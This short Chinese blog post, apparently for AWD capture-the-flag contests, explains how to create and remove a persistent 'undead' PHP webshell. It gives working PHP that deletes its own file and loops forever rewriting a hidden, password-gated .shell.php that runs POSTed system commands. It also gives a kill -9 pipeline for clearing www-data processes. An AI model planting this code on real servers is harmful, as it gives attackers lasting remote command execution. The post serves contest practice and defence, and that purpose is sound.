干货|不死马的创建和查杀
【推荐学习】暗月渗透测试培训 十多年渗透经验,体系化培训渗透测试 、高效学习渗透测试,欢迎添加微信好友aptimeok 咨询。
0x00 创建
md5加密密码:
代码:
ignore_user_abort(true);
set_time_limit(0);
unlink(__FILE__);
$file = '.shell.php';
$code = '<?php if(md5($_GET["pass"])=="2591c98b70119fe624898b1e424b5e91"){@system($_POST[cmd]);} ?>';
while (1){
file_put_contents($file,$code);
}
触发执行:
0x01 查看
权限:
内容:
执行:
0x02 查杀
root用户角度的查杀:
1、杀掉进程
ps aux | grep www-data | awk '{print $2}' | xargs kill -9
2、重启服务
重启web服务。
其他用户的查杀:
在awd中,ctf用户没有权限,不能重启服务,而且,以ctf的用户来杀进程和条件竞争也是不可行的。
(不死马会先创建,然后被删除,在创建到被删除的过程中会可利用。)
最简单的方式就是以www-data用户的角度通过杀进程来实现查杀。
1、杀掉进程:
<?php
@system("ps -aux | grep www-data | awk '{print $2}' | xargs kill -9");
2、条件竞争:
不推荐,如果不死马中没有调用usleep()函数,进行延时的话,条件竞争是gg的。
原创文章,作者:moonsec,如若转载,请注明出处:https://www.moonsec.com/6879.html